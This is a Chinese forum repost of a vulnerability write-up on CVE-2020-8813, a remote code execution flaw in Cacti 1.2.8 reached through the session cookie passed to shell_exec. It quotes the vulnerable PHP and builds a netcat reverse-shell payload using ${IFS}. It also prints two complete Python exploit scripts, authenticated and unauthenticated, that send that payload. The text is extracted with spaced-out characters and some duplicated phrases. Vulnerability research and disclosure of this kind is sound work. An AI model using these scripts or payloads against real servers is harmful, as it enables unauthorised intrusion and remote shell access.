搜索

[15116] 2020-03-11_CVE-2020-8813：Cactiv1.2.8中经过身份验证的RCE漏洞分析

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2020-03-11_CVE-2020-8813：Cactiv1.2.8中经过身份验证的RCE漏洞分析 C V E - 2 0 2 0 - 8 8 1 3 ： C a c t i   v 1 . 2 . 8   中 经 过 身 份 验 证 的 R C E 漏 洞 分 析 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 3 - 1 1 关 于 关 于 C a c t i C a c t i 是 一 套 基 于 是 一 套 基 于 P H P , M y S Q L , S N M P 及 及 R R D T o o l 开 发 的 网 络 流 量 监 测 图 形 分 析 工 具 。 开 发 的 网 络 流 量 监 测 图 形 分 析 工 具 。 C a c t i 通 过 通 过   s n m p g e t 来 获 来 获 取 数 据 ， 使 用 取 数 据 ， 使 用   R R D t o o l 绘 画 图 形 ， 而 且 你 完 全 可 以 不 需 要 了 解 绘 画 图 形 ， 而 且 你 完 全 可 以 不 需 要 了 解 R R D t o o l 复 杂 的 参 数 。 它 提 供 了 非 常 强 大 的 数 据 复 杂 的 参 数 。 它 提 供 了 非 常 强 大 的 数 据 和 用 户 管 理 功 能 ， 可 以 指 定 每 一 个 用 户 能 查 看 树 状 结 构 、 和 用 户 管 理 功 能 ， 可 以 指 定 每 一 个 用 户 能 查 看 树 状 结 构 、 h o s t 以 及 任 何 一 张 图 ， 还 可 以 与 以 及 任 何 一 张 图 ， 还 可 以 与 L D A P 结 合 进 行 用 户 结 合 进 行 用 户 验 证 ， 同 时 也 能 自 己 增 加 模 板 ， 功 能 非 常 强 大 完 善 。 界 面 友 好 。 软 件 验 证 ， 同 时 也 能 自 己 增 加 模 板 ， 功 能 非 常 强 大 完 善 。 界 面 友 好 。 软 件   C a c t i   的 发 展 是 基 于 让 的 发 展 是 基 于 让   R R D T o o l   使 用 者 使 用 者 更 方 便 使 用 该 软 件 ， 除 了 基 本 的 更 方 便 使 用 该 软 件 ， 除 了 基 本 的   S n m p   流 量 跟 系 统 资 讯 监 控 外 ， 流 量 跟 系 统 资 讯 监 控 外 ， C a c t i   也 可 外 挂 也 可 外 挂   S c r i p t s   及 加 上 及 加 上   T e m p l a t e s   来 作 来 作 出 各 式 各 样 的 监 控 图 。 出 各 式 各 样 的 监 控 图 。 c a c t i 是 用 p h p 语 言 实 现 的 一 个 软 件 ， 它 的 主 要 功 能 是 用 s n m p 服 务 获 取 数 据 ， 然 后 用 r r d t o o l 储 存 和 更 新 数 据 ， 当 用 户 需 要 查 看 数 据 的 时 候 用 r r d t o o l 生 成 图 表 呈 现 给 用 户 。 因 此 ， s n m p 和 r r d t o o l 是 c a c t i 的 关 键 。 S n m p 关 系 着 数 据 的 收 集 ， r r d t o o l 关 系 着 数 据 存 储 和 图 表 的 生 成 。 漏 洞 利 用 分 析 漏 洞 利 用 分 析 我 在 分 析 C a c t i 主 要 代 码 中 的 多 个 功 能 函 数 时 ， 发 现 了 这 个 漏 洞 。 我 需 要 结 合 多 个 漏 洞 利 用 因 素 才 能 实 现 代 码 执 行 ， 当 攻 击 者 尝 试 向 “ C a c t i ” 这 个 C o o k i e 变 量 中 注 入 恶 意 代 码 时 ， 便 会 触 发 这 个 漏 洞 ， 而 这 个 变 量 在 与 一 些 字 符 串 合 并 之 后 将 会 被 传 递 给 s h e l l _ e x e c 函 数 。 但 是 当 我 尝 试 修 改 这 个 c o o k i e 值 时 遇 到 了 身 份 验 证 的 问 题 ， 而 这 个 问 题 使 我 无 法 访 问 到 目 标 页 面 ， 但 是 我 发 现 这 个 包 含 漏 洞 的 页 面 是 能 够 以 “ G u e s t ” 身 份 访 问 的 ， 这 样 就 不 需 要 进 行 身 份 验 证 了 ， 所 以 我 修 改 了 漏 洞 利 用 代 码 ， 并 使 用 “ G u e s t ” 身 份 来 访 问 页 面 “ g r a p h _ r e a l t i m e . p h p ” ， 然 后 发 送 恶 意 请 求 来 在 目 标 主 机 上 实 现 代 码 执 行 。 首 先 ， 我 们 需 要 向 “ u s e r _ a d m i n . p h p ” 页 面 发 送 一 个 请 求 来 启 用 “ r e a l t i m e _ g r a p h ” 的 访 客 权 限 ， 然 后 再 向 “ g r a p h _ r e a l t i m e . p h p ” 页 面 发 送 恶 意 请 求 。 接 下 来 ， 我 使 用 了 这 个 常 用 的 R C E 扫 描 脚 本 【 R E C S c a n n e r 】 来 在 C a c t i 中 搜 索 R C E 漏 洞 。
运 行 脚 本 后 ， 我 在 “ g r a p h _ r e a l t i m e . p h p ” 文 件 中 发 现 了 一 个 非 常 有 意 思 的 东 西 ： g r a p h _ r e a l t i m e . p h p 我 们 可 以 看 到 上 述 代 码 中 的 第 4 和 第 5 行 ， 我 们 收 到 了 一 些 参 数 ， 还 有 一 个 名 叫 “ g e t _ r e q u e s t _ v a r ” 的 函 数 ， 该 函 数 的 作 用 如 下 ： h t m l _ u t i l i t y . p h p 我 们 可 以 看 到 ， 这 个 函 数 可 以 处 理 输 入 数 据 并 通 过 函 数 “ s e t _ r e q u e s t _ v a r ” 来 设 置 参 数 值 ， 而 这 个 函 数 的 相 关 代 码 如 下 ： h t m l _ u t i l i t y . p h p 接 下 来 ， 回 到 我 们 的 “ g r a p h _ r e a l t i m e . p h p ” 页 面 ， 我 们 可 以 控 制 下 列 输 入 ： 但 是 ， 我 们 注 意 到 “ g r a p h _ r e a l t i m e . p h p ” 文 件 中 的 第 4 行 ， 它 使 用 了 s p r i n t f ( ) 函 数 来 处 理 输 入 ， 而 第 一 个 值 “ g r a p h ” 的 内 容 为 “ l o c a l _ g r a p h _ i d ” ， 而 这 个 值 是 我 们 可 以 控 制 的 ！ 又 但 是 ， 一 个 名 叫 “ g e t _ f i l t e r _ r e q u e s t _ v a r ” 的 函 数 会 对 这 个 值 进 行 过 滤 ， 我 们 可 以 看 到 ， 它 在 “ g r a p h _ r e a l t i m e . p h p ” 中 已 经 被 过 滤 了 ： h t m l _ u t i l i t y . p h p 这 个 函 数 将 会 对 输 入 数 据 进 行 过 滤 ， 然 后 返 回 一 个 “ 干 净 的 ” 变 量 并 传 递 给 下 一 个 函 数 。 对 于 第 二 个 变 量 “ $ g r a p h _ d a t a _ a r r a y [ ‘ d s _ s t e p ’ ] ” ， 它 已 经 通 过 s p r i n t f ( ) 进 行 处 理 了 （ % d ） ， 这 也 就 意 味 着 它 会 变 成 一 个 十 进 制 值 ， 所 以 我 们 无 法 用 它 来 注 入 我 们 的 恶 意 命 令 。 接 下 来 ， 我 们 再 看 看 下 面 这 段 代 码 ： g r a p h _ r e a l t i m e . p h p 我 们 看 到 了 另 一 个 传 递 给 s h e l l _ e x e c 函 数 的 变 量 ， 而 这 个 变 量 的 值 就 是 s e s s i o n _ i d ( ) 函 数 返 回 的 值 ， 这 个 函 数 可 以 返 回 当 前 用 户 会 话 的 值 ， 也 就 是 说 ， 我 们 可 以 用 它 来 注 入 我 们 的 命 令 。 等 一 下 ， 如 果 我 们 修 改 了 会 话 ， 那 我 们 就 无 法 访 问 目 标 页 面 了 ， 因 为 这 个 页 面 要 求 用 户 在 经 过 了 身 份 验 证 之 后 才 能 访 问 。 研 究 之 后 我 又 发 现 ， 如 果 我 们 启 用 了 一 个 名 叫 “ R e a l t i m e   G r a p h s ” 的 特 殊 权 限 之 后 ， 我 们 就 能 够 以 访 客 身 份 访 问 这 个 页 面 了 ： / *   c a l l   p o l l e r   * /         $ g r a p h _ r r d   =   r e a d _ c o n f i g _ o p t i o n ( ' r e a l t i m e _ c a c h e _ p a t h ' )   .   ' / u s e r _ '   .   s e s s i o n _ i d ( )   .   ' _ l g i _ '   .   g e t _ r e q u e s t _ v a r ( ' l o c a l _ g r a p h _ i d ' )   .   ' . p n g ' ;         $ c o m m a n d       =   r e a d _ c o n f i g _ o p t i o n ( ' p a t h _ p h p _ b i n a r y ' ) ;         $ a r g s             =   s p r i n t f ( ' p o l l e r _ r e a l t i m e . p h p   - - g r a p h = % s   - - i n t e r v a l = % d   - - p o l l e r _ i d = '   .   s e s s i o n _ i d ( ) ,   g e t _ r e q u e s t _ v a r ( ' l o c a l _ g r a p h _ i d ' ) ,   $ g r a p h _ d a t a _ a r r a y [ ' d s _ s t e p ' ] ) ;         s h e l l _ e x e c ( " $ c o m m a n d   $ a r g s " ) ;         / *   c o n s t r u c t   t h e   i m a g e   n a m e     * /         $ g r a p h _ d a t a _ a r r a y [ ' e x p o r t _ r e a l t i m e ' ]   =   $ g r a p h _ r r d ;         $ g r a p h _ d a t a _ a r r a y [ ' o u t p u t _ f l a g ' ]           =   R R D T O O L _ O U T P U T _ G R A P H _ D A T A ;         $ n u l l _ p a r a m   =   a r r a y ( ) ; f u n c t i o n   g e t _ r e q u e s t _ v a r ( $ n a m e ,   $ d e f a u l t   =   ' ' )   {                 g l o b a l   $ _ C A C T I _ R E Q U E S T ;                 $ l o g _ v a l i d a t i o n   =   r e a d _ c o n f i g _ o p t i o n ( ' l o g _ v a l i d a t i o n ' ) ;                 i f   ( i s s e t ( $ _ C A C T I _ R E Q U E S T [ $ n a m e ] ) )   {                         r e t u r n   $ _ C A C T I _ R E Q U E S T [ $ n a m e ] ;                 }   e l s e i f   ( i s s e t _ r e q u e s t _ v a r ( $ n a m e ) )   {                         i f   ( $ l o g _ v a l i d a t i o n   = =   ' o n ' )   {                                 h t m l _ l o g _ i n p u t _ e r r o r ( $ n a m e ) ;                         }                         s e t _ r e q u e s t _ v a r ( $ n a m e ,   $ _ R E Q U E S T [ $ n a m e ] ) ;                         r e t u r n   $ _ R E Q U E S T [ $ n a m e ] ;                 }   e l s e   {                         r e t u r n   $ d e f a u l t ;                 }         } f u n c t i o n   s e t _ r e q u e s t _ v a r ( $ v a r i a b l e ,   $ v a l u e )   {                 g l o b a l   $ _ C A C T I _ R E Q U E S T ;                 $ _ C A C T I _ R E Q U E S T [ $ v a r i a b l e ]   =   $ v a l u e ;                 $ _ R E Q U E S T [ $ v a r i a b l e ]               =   $ v a l u e ;                 $ _ P O S T [ $ v a r i a b l e ]                     =   $ v a l u e ;                 $ _ G E T [ $ v a r i a b l e ]                       =   $ v a l u e ;         } l o c a l _ g r a p h _ i d         T h e   v a l u e   o f   $ g r a p h _ d a t a _ a r r a y [ ‘ d s _ s t e p ’ ] f u n c t i o n   g e t _ f i l t e r _ r e q u e s t _ v a r ( $ n a m e ,   $ f i l t e r   =   F I L T E R _ V A L I D A T E _ I N T ,   $ o p t i o n s   =   a r r a y ( ) )   {                 i f   ( i s s e t _ r e q u e s t _ v a r ( $ n a m e ) )   {                         i f   ( i s e m p t y _ r e q u e s t _ v a r ( $ n a m e ) )   {                                 s e t _ r e q u e s t _ v a r ( $ n a m e ,   g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e ) ) ;                                 r e t u r n   g e t _ r e q u e s t _ v a r ( $ n a m e ) ;                         }   e l s e i f   ( g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e )   = =   ' u n d e f i n e d ' )   {                                 i f   ( i s s e t ( $ o p t i o n s [ ' d e f a u l t ' ] ) )   {                                         s e t _ r e q u e s t _ v a r ( $ n a m e ,   $ o p t i o n s [ ' d e f a u l t ' ] ) ;                                         r e t u r n   $ o p t i o n s [ ' d e f a u l t ' ] ;                                 }   e l s e   {                                         s e t _ r e q u e s t _ v a r ( $ n a m e ,   ' ' ) ;                                         r e t u r n   ' ' ;                                 }                         }   e l s e   {                                 i f   ( g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e )   = =   ' 0 ' )   {                                         $ v a l u e   =   ' 0 ' ;                                 }   e l s e i f   ( g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e )   = =   ' u n d e f i n e d ' )   {                                         i f   ( i s s e t ( $ o p t i o n s [ ' d e f a u l t ' ] ) )   {                                                 $ v a l u e   =   $ o p t i o n s [ ' d e f a u l t ' ] ;                                         }   e l s e   {                                                 $ v a l u e   =   ' ' ;                                         }                                 }   e l s e i f   ( i s e m p t y _ r e q u e s t _ v a r ( $ n a m e ) )   {                                         $ v a l u e   =   ' ' ;                                 }   e l s e i f   ( $ f i l t e r   = =   F I L T E R _ V A L I D A T E _ I S _ R E G E X )   {                                         i f   ( i s _ b a s e 6 4 _ e n c o d e d ( $ _ R E Q U E S T [ $ n a m e ] ) )   {                                                 $ _ R E Q U E S T [ $ n a m e ]   =   u t f 8 _ d e c o d e ( b a s e 6 4 _ d e c o d e ( $ _ R E Q U E S T [ $ n a m e ] ) ) ;                                         }                                         $ v a l i d   =   v a l i d a t e _ i s _ r e g e x ( $ _ R E Q U E S T [ $ n a m e ] ) ;                                         i f   ( $ v a l i d   = = =   t r u e )   {                                                 $ v a l u e   =   $ _ R E Q U E S T [ $ n a m e ] ;                                         }   e l s e   {                                                 $ v a l u e   =   f a l s e ;                                                 $ c u s t o m _ e r r o r   =   $ v a l i d ;                                         }                                 }   e l s e i f   ( $ f i l t e r   = =   F I L T E R _ V A L I D A T E _ I S _ N U M E R I C _ A R R A Y )   {                                         $ v a l i d   =   t r u e ;                                         i f   ( i s _ a r r a y ( $ _ R E Q U E S T [ $ n a m e ] ) )   {                                                 f o r e a c h ( $ _ R E Q U E S T [ $ n a m e ]   A S   $ n u m b e r )   {                                                         i f   ( ! i s _ n u m e r i c ( $ n u m b e r ) )   {                                                                 $ v a l i d   =   f a l s e ;                                                                 b r e a k ;                                                         }                                                 }                                         }   e l s e   {                                                 $ v a l i d   =   f a l s e ;                                         }                                         i f   ( $ v a l i d   = =   t r u e )   {                                                 $ v a l u e   =   $ _ R E Q U E S T [ $ n a m e ] ;                                         }   e l s e   {                                                 $ v a l u e   =   f a l s e ;                                         }                                 }   e l s e i f   ( $ f i l t e r   = =   F I L T E R _ V A L I D A T E _ I S _ N U M E R I C _ L I S T )   {                                         $ v a l i d   =   t r u e ;                                         $ v a l u e s   =   p r e g _ s p l i t ( ' / , / ' ,   $ _ R E Q U E S T [ $ n a m e ] ,   N U L L ,   P R E G _ S P L I T _ N O _ E M P T Y ) ;                                         f o r e a c h ( $ v a l u e s   A S   $ n u m b e r )   {                                                 i f   ( ! i s _ n u m e r i c ( $ n u m b e r ) )   {                                                         $ v a l i d   =   f a l s e ;                                                         b r e a k ;                                                 }                                         }                                         i f   ( $ v a l i d   = =   t r u e )   {                                                 $ v a l u e   =   $ _ R E Q U E S T [ $ n a m e ] ;                                         }   e l s e   {                                                 $ v a l u e   =   f a l s e ;                                         }                                 }   e l s e i f   ( ! c a c t i _ s i z e o f ( $ o p t i o n s ) )   {                                         $ v a l u e   =   f i l t e r _ v a r ( $ _ R E Q U E S T [ $ n a m e ] ,   $ f i l t e r ) ;                                 }   e l s e   {                                         $ v a l u e   =   f i l t e r _ v a r ( $ _ R E Q U E S T [ $ n a m e ] ,   $ f i l t e r ,   $ o p t i o n s ) ;                                 }                         }                         i f   ( $ v a l u e   = = =   f a l s e )   {                                 i f   ( $ f i l t e r   = =   F I L T E R _ V A L I D A T E _ I S _ R E G E X )   {                                         $ _ S E S S I O N [ ' c u s t o m _ e r r o r ' ]   =   _ _ ( ' T h e   s e a r c h   t e r m   " % s "   i s   n o t   v a l i d .   E r r o r   i s   % s ' ,   h t m l _ e s c a p e ( g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e ) ) ,   h t m l _ e s c a p e ( $ c u s t o m _ e r r o r ) ) ;                                         s e t _ r e q u e s t _ v a r ( $ n a m e ,   ' ' ) ;                                         r a i s e _ m e s s a g e ( ' c u s t o m _ e r r o r ' ) ;                                 }   e l s e   {                                         d i e _ h t m l _ i n p u t _ e r r o r ( $ n a m e ,   g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e ) ) ;                                 }                         }   e l s e   {                                 s e t _ r e q u e s t _ v a r ( $ n a m e ,   $ v a l u e ) ;                                 r e t u r n   $ v a l u e ;                         }                 }   e l s e   {                         i f   ( i s s e t ( $ o p t i o n s [ ' d e f a u l t ' ] ) )   {                                 s e t _ r e q u e s t _ v a r ( $ n a m e ,   $ o p t i o n s [ ' d e f a u l t ' ] ) ;                                 r e t u r n   $ o p t i o n s [ ' d e f a u l t ' ] ;                         }   e l s e   {                                 r e t u r n ;                         }                 }         } / *   c a l l   p o l l e r   * /         $ g r a p h _ r r d   =   r e a d _ c o n f i g _ o p t i o n ( ' r e a l t i m e _ c a c h e _ p a t h ' )   .   ' / u s e r _ '   .   s e s s i o n _ i d ( )   .   ' _ l g i _ '   .   g e t _ r e q u e s t _ v a r ( ' l o c a l _ g r a p h _ i d ' )   .   ' . p n g ' ;         $ c o m m a n d       =   r e a d _ c o n f i g _ o p t i o n ( ' p a t h _ p h p _ b i n a r y ' ) ;         $ a r g s             =   s p r i n t f ( ' p o l l e r _ r e a l t i m e . p h p   - - g r a p h = % s   - - i n t e r v a l = % d   - - p o l l e r _ i d = '   .   s e s s i o n _ i d ( ) ,   g e t _ r e q u e s t _ v a r ( ' l o c a l _ g r a p h _ i d ' ) ,   $ g r a p h _ d a t a _ a r r a y [ ' d s _ s t e p ' ] ) ;         s h e l l _ e x e c ( " $ c o m m a n d   $ a r g s " ) ;         / *   c o n s t r u c t   t h e   i m a g e   n a m e     * /         $ g r a p h _ d a t a _ a r r a y [ ' e x p o r t _ r e a l t i m e ' ]   =   $ g r a p h _ r r d ;         $ g r a p h _ d a t a _ a r r a y [ ' o u t p u t _ f l a g ' ]           =   R R D T O O L _ O U T P U T _ G R A P H _ D A T A ;         $ n u l l _ p a r a m   =   a r r a y ( ) ;
接 下 来 ， 我 们 尝 试 在 不 开 启 “ G u e s t   R e a l t i m e   G r a p h s ” 权 限 的 情 况 下 访 问 该 页 面 ： 正 如 我 们 所 见 ， 由 于 权 限 问 题 ， 我 们 现 在 无 法 访 问 这 个 页 面 ， 现 在 我 们 重 新 开 启 该 权 限 ， 然 后 访 问 该 页 面 ：
很 好 ， 接 下 来 我 们 发 送 “ g r a p h _ r e a l t i m e . p h p ” 页 面 请 求 ， 然 后 在 代 码 中 添 加 一 条 “ e c h o ” 语 句 来 输 出 传 递 给 s h e l l _ e x e c 函 数 的 值 ： 如 图 所 示 ， 我 们 将 会 话 打 印 了 出 来 ， 接 下 来 我 们 尝 试 向 会 话 中 注 入 自 定 义 字 符 串 ： 非 常 好 ， 我 们 成 功 实 现 了 注 入 。
P a y l o a d 开 发 开 发 成 功 控 制 了 会 话 值 之 后 ， 我 们 需 要 用 它 来 在 目 标 系 统 中 实 现 代 码 执 行 ， 但 由 于 它 本 质 上 还 是 一 个 会 话 值 ， 因 此 我 们 无 法 使 用 一 些 特 殊 字 符 ， 所 以 我 们 需 要 开 发 一 个 “ 对 会 话 友 好 的 ” P a y l o a d 。 比 如 说 ， 如 果 对 字 符 串 “ H i   P a y l o a d ” 进 行 编 码 ， 然 后 传 递 给 应 用 程 序 ， 我 们 将 会 看 到 ： 我 们 可 以 看 到 ， 应 用 程 序 设 置 了 一 个 C o o k i e 给 我 们 ， 而 不 是 我 们 所 注 入 的 那 个 ， 为 了 解 决 这 个 问 题 ， 我 们 需 要 使 用 一 个 自 定 义 的 P a y l o a d 。 为 了 避 免 使 用 空 格 字 符 ， 我 打 算 使 用 “ $ { I F S } ” 这 个 B a s h 变 量 来 代 表 一 个 空 格 。 当 然 了 ， 我 们 还 需 要 使 用 “ ; ” 来 转 义 命 令 ： 如 果 我 们 想 使 用 n e t c a t 来 获 取 一 个 S h e l l ， 我 们 还 需 要 创 建 下 列 P a y l o a d ： 我 们 先 对 P a y l o a d 进 行 编 码 ： 然 后 将 其 发 送 给 应 用 程 序 ： ; p a y l o a d ; n c $ { I F S } - e $ { I F S } / b i n / b a s h $ { I F S } i p $ { I F S } p o r t
很 好 ， 我 们 的 P a y l o a d 执 行 成 功 了 ， 并 拿 到 了 一 个 S h e l l 。 漏 洞 利 用 代 码 漏 洞 利 用 代 码 为 了 实 现 整 个 漏 洞 利 用 的 自 动 化 过 程 ， 我 编 写 了 一 个 P y t h o n 脚 本 来 利 用 该 漏 洞 ： 运 行 了 漏 洞 利 用 代 码 之 后 ， 我 们 将 会 看 到 ： 再 一 次 成 功 拿 到 了 S h e l l ！ # ! / u s r / b i n / p y t h o n 3         #   E x p l o i t   T i t l e :   C a c t i   v 1 . 2 . 8   R e m o t e   C o d e   E x e c u t i o n         #   D a t e :   0 3 / 0 2 / 2 0 2 0         #   E x p l o i t   A u t h o r :   A s k a r   ( @ m o h a m m a d a s k a r 2 )         #   C V E :   C V E - 2 0 2 0 - 8 8 1 3         #   V e n d o r   H o m e p a g e :   h t t p s : / / c a c t i . n e t /         #   V e r s i o n :   v 1 . 2 . 8         #   T e s t e d   o n :   C e n t O S   7 . 3   /   P H P   7 . 1 . 3 3         i m p o r t   r e q u e s t s         i m p o r t   s y s         i m p o r t   w a r n i n g s         f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p         f r o m   u r l l i b . p a r s e   i m p o r t   q u o t e         w a r n i n g s . f i l t e r w a r n i n g s ( " i g n o r e " ,   c a t e g o r y = U s e r W a r n i n g ,   m o d u l e = ' b s 4 ' )         i f   l e n ( s y s . a r g v )   ! =   6 :                 p r i n t ( " [ ~ ]   U s a g e   :   . / C a c t i - e x p l o i t . p y   u r l   u s e r n a m e   p a s s w o r d   i p   p o r t " )                 e x i t ( )         u r l   =   s y s . a r g v [ 1 ]         u s e r n a m e   =   s y s . a r g v [ 2 ]         p a s s w o r d   =   s y s . a r g v [ 3 ]         i p   =   s y s . a r g v [ 4 ]         p o r t   =   s y s . a r g v [ 5 ]         d e f   l o g i n ( t o k e n ) :                 l o g i n _ i n f o   =   {                 " l o g i n _ u s e r n a m e " :   u s e r n a m e ,                 " l o g i n _ p a s s w o r d " :   p a s s w o r d ,                 " a c t i o n " :   " l o g i n " ,                 " _ _ c s r f _ m a g i c " :   t o k e n                 }                 l o g i n _ r e q u e s t   =   r e q u e s t . p o s t ( u r l + " / i n d e x . p h p " ,   l o g i n _ i n f o )                 l o g i n _ t e x t   =   l o g i n _ r e q u e s t . t e x t                 i f   " I n v a l i d   U s e r   N a m e / P a s s w o r d   P l e a s e   R e t y p e "   i n   l o g i n _ t e x t :                         r e t u r n   F a l s e                 e l s e :                         r e t u r n   T r u e         d e f   e n a b l e _ g u e s t ( t o k e n ) :                 r e q u e s t _ i n f o   =   {                 " i d " :   " 3 " ,                 " s e c t i o n 2 5 " :   " o n " ,                 " s e c t i o n 7 " :   " o n " ,                 " t a b " :   " r e a l m s " ,                 " s a v e _ c o m p o n e n t _ r e a l m _ p e r m s " :   1 ,                 " a c t i o n " :   " s a v e " ,                 " _ _ c s r f _ m a g i c " :   t o k e n                 }                 e n a b l e _ r e q u e s t   =   r e q u e s t . p o s t ( u r l + " / u s e r _ a d m i n . p h p ? h e a d e r = f a l s e " ,   r e q u e s t _ i n f o )                 i f   e n a b l e _ r e q u e s t :                         r e t u r n   T r u e                 e l s e :                         r e t u r n   F a l s e         d e f   s e n d _ e x p l o i t ( ) :                 p a y l o a d   =   " ; n c $ { I F S } - e $ { I F S } / b i n / b a s h $ { I F S } % s $ { I F S } % s "   %   ( i p ,   p o r t )                 c o o k i e s   =   { ' C a c t i ' :   q u o t e ( p a y l o a d ) }                 r e q u e s t s . g e t ( u r l + " / g r a p h _ r e a l t i m e . p h p ? a c t i o n = i n i t " ,   c o o k i e s = c o o k i e s )         r e q u e s t   =   r e q u e s t s . s e s s i o n ( )         p r i n t ( " [ + ] R e t r i e v i n g   l o g i n   C S R F   t o k e n " )         p a g e   =   r e q u e s t . g e t ( u r l + " / i n d e x . p h p " )         h t m l _ c o n t e n t   =   p a g e . t e x t         s o u p   =   B e a u t i f u l S o u p ( h t m l _ c o n t e n t ,   " h t m l 5 l i b " )         t o k e n   =   s o u p . f i n d A l l ( ' i n p u t ' ) [ 0 ] . g e t ( " v a l u e " )         i f   t o k e n :                 p r i n t ( " [ + ] T o k e n   F o u n d   :   % s "   %   t o k e n )                 p r i n t ( " [ + ] S e n d i n g   c r e d s   . . " )                 l o g i n _ s t a t u s   =   l o g i n ( t o k e n )                 i f   l o g i n _ s t a t u s :                         p r i n t ( " [ + ] S u c c e s s f u l l y   L o g g e d I n " )                         p r i n t ( " [ + ] R e t r i e v i n g   C S R F   t o k e n   . . " )                         p a g e   =   r e q u e s t . g e t ( u r l + " / u s e r _ a d m i n . p h p ? a c t i o n = u s e r _ e d i t & i d = 3 & t a b = r e a l m s " )                         h t m l _ c o n t e n t   =   p a g e . t e x t                         s o u p   =   B e a u t i f u l S o u p ( h t m l _ c o n t e n t ,   " h t m l 5 l i b " )                         t o k e n   =   s o u p . f i n d A l l ( ' i n p u t ' ) [ 1 ] . g e t ( " v a l u e " )                         i f   t o k e n :                                 p r i n t ( " [ + ] M a k i n g   s o m e   n o i s e   . . " )                                 g u e s t _ r e a l t i m e   =   e n a b l e _ g u e s t ( t o k e n )                                 i f   g u e s t _ r e a l t i m e :                                         p r i n t ( " [ + ] S e n d i n g   m a l i c o u s   r e q u e s t ,   c h e c k   y o u r   n c   ; ) " )                                         s e n d _ e x p l o i t ( )                                 e l s e :                                         p r i n t ( " [ - ] E r r o r   w h i l e   a c t i v a t i n g   t h e   m a l i c o u s   a c c o u n t " )                         e l s e :                                 p r i n t ( " [ - ]   U n a b l e   t o   r e t r i e v e   C S R F   t o k e n   f r o m   a d m i n   p a g e ! " )                                 e x i t ( )                 e l s e :                         p r i n t ( " [ - ] C a n n o t   L o g i n ! " )         e l s e :                 p r i n t ( " [ - ]   U n a b l e   t o   r e t r i e v e   C S R F   t o k e n ! " )         e x i t ( )
未 经 身 份 认 证 的 漏 洞 利 用 未 经 身 份 认 证 的 漏 洞 利 用 如 果 C a c t i 启 用 了 “ G u e s t   R e a l t i m e   G r a p h s ” 权 限 ， 那 么 我 们 就 可 以 在 未 经 身 份 验 证 的 情 况 下 利 用 该 漏 洞 了 。 下 面 给 出 的 是 这 种 场 景 下 的 漏 洞 利 用 代 码 ： 我 们 可 以 看 到 ， 在 这 种 场 景 下 同 样 能 够 成 功 利 用 该 漏 洞 。 漏 洞 披 露 漏 洞 披 露 在 发 现 该 问 题 之 后 ， 我 们 便 将 完 整 的 P o C 上 报 给 了 C a c t i 的 团 队 ， 他 们 也 在 第 一 时 间 修 复 了 该 漏 洞 并 发 布 了 漏 洞 补 丁 ， 从 C a c t i   v 1 . 2 . 1 0 开 始 将 不 再 受 此 漏 洞 的 影 响 。 *   参 考 来 源 ： 参 考 来 源 ： s h e l l s ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 # ! / u s r / b i n / p y t h o n 3         #   E x p l o i t   T i t l e :   C a c t i   v 1 . 2 . 8   U n a u t h e n t i c a t e d   R e m o t e   C o d e   E x e c u t i o n         #   D a t e :   0 3 / 0 2 / 2 0 2 0         #   E x p l o i t   A u t h o r :   A s k a r   ( @ m o h a m m a d a s k a r 2 )         #   C V E :   C V E - 2 0 2 0 - 8 8 1 3         #   V e n d o r   H o m e p a g e :   h t t p s : / / c a c t i . n e t /         #   V e r s i o n :   v 1 . 2 . 8         #   T e s t e d   o n :   C e n t O S   7 . 3   /   P H P   7 . 1 . 3 3         i m p o r t   r e q u e s t s         i m p o r t   s y s         i m p o r t   w a r n i n g s         f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p         f r o m   u r l l i b . p a r s e   i m p o r t   q u o t e         w a r n i n g s . f i l t e r w a r n i n g s ( " i g n o r e " ,   c a t e g o r y = U s e r W a r n i n g ,   m o d u l e = ' b s 4 ' )         i f   l e n ( s y s . a r g v )   ! =   4 :                 p r i n t ( " [ ~ ]   U s a g e   :   . / C a c t i - e x p l o i t . p y   u r l   i p   p o r t " )                 e x i t ( )         u r l   =   s y s . a r g v [ 1 ]         i p   =   s y s . a r g v [ 2 ]         p o r t   =   s y s . a r g v [ 3 ]         d e f   s e n d _ e x p l o i t ( u r l ) :                 p a y l o a d   =   " ; n c $ { I F S } - e $ { I F S } / b i n / b a s h $ { I F S } % s $ { I F S } % s "   %   ( i p ,   p o r t )                 c o o k i e s   =   { ' C a c t i ' :   q u o t e ( p a y l o a d ) }                 p a t h   =   u r l + " / g r a p h _ r e a l t i m e . p h p ? a c t i o n = i n i t "                 r e q   =   r e q u e s t s . g e t ( p a t h )                 i f   r e q . s t a t u s _ c o d e   = =   2 0 0   a n d   " p o l l e r _ r e a l t i m e . p h p "   i n   r e q . t e x t :                         p r i n t ( " [ + ]   F i l e   F o u n d   a n d   G u e s t   i s   e n a b l e d ! " )                         p r i n t ( " [ + ]   S e n d i n g   m a l i c o u s   r e q u e s t ,   c h e c k   y o u r   n c   ; ) " )                         r e q u e s t s . g e t ( p a t h ,   c o o k i e s = c o o k i e s )                 e l s e :                         p r i n t ( " [ + ]   E r r o r   w h i l e   r e q u e s t i n g   t h e   f i l e ! " )         s e n d _ e x p l o i t ( u r l )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理